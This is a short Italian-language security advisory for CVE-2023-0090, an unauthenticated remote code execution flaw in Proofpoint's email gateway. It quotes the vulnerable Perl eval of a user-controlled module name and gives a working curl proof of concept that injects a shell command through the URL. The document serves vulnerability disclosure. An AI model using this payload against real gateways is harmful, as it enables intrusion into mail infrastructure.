
Proofpoint Email Gateway: RCE non autenticato
Ricercatore di sicurezza: ly1g3, ly1g3[at]tuta.io
Impronta GPG: https://keys.openpgp.org/vks/v1/by-fingerprint/5FE85CE4E8F675F5ABD2C0A33CE8BE447ED6D586
Panoramica: Esecuzione remota di codice - RCE non autenticata
CVE: CVE-2023-0090
Cronologia:
Exploit per Proofpoint Messaging Security Gateway
Con accesso all'API WebServices, è possibile ottenere una RCE non autenticata con privilegi di amministratore.
Webservices.pm non sanitizza né controlla l'input dell'utente. Non è richiesta alcuna autenticazione per raggiungere la funzione, ma l'accesso API deve essere abilitato nelle impostazioni per poter eseguire la RCE. $module proviene direttamente dai dati dell'utente e viene valutato.
my $module = (split(/\//,$uri))[1];
$module = SERVICE_MODULE_PREFIX() . "::\u$module";
...
eval("require $module");
Crea un file chiamato abc in /tmp/. Il codice viene eseguito come utente pps.
curl -k -vv "https://192.168.80.80:10010/ws/abc%2bsystem(%60id%20>%20\\\$\{SHELL:0:1\}tmp\\\$\{SHELL:0:1\}abc%60)"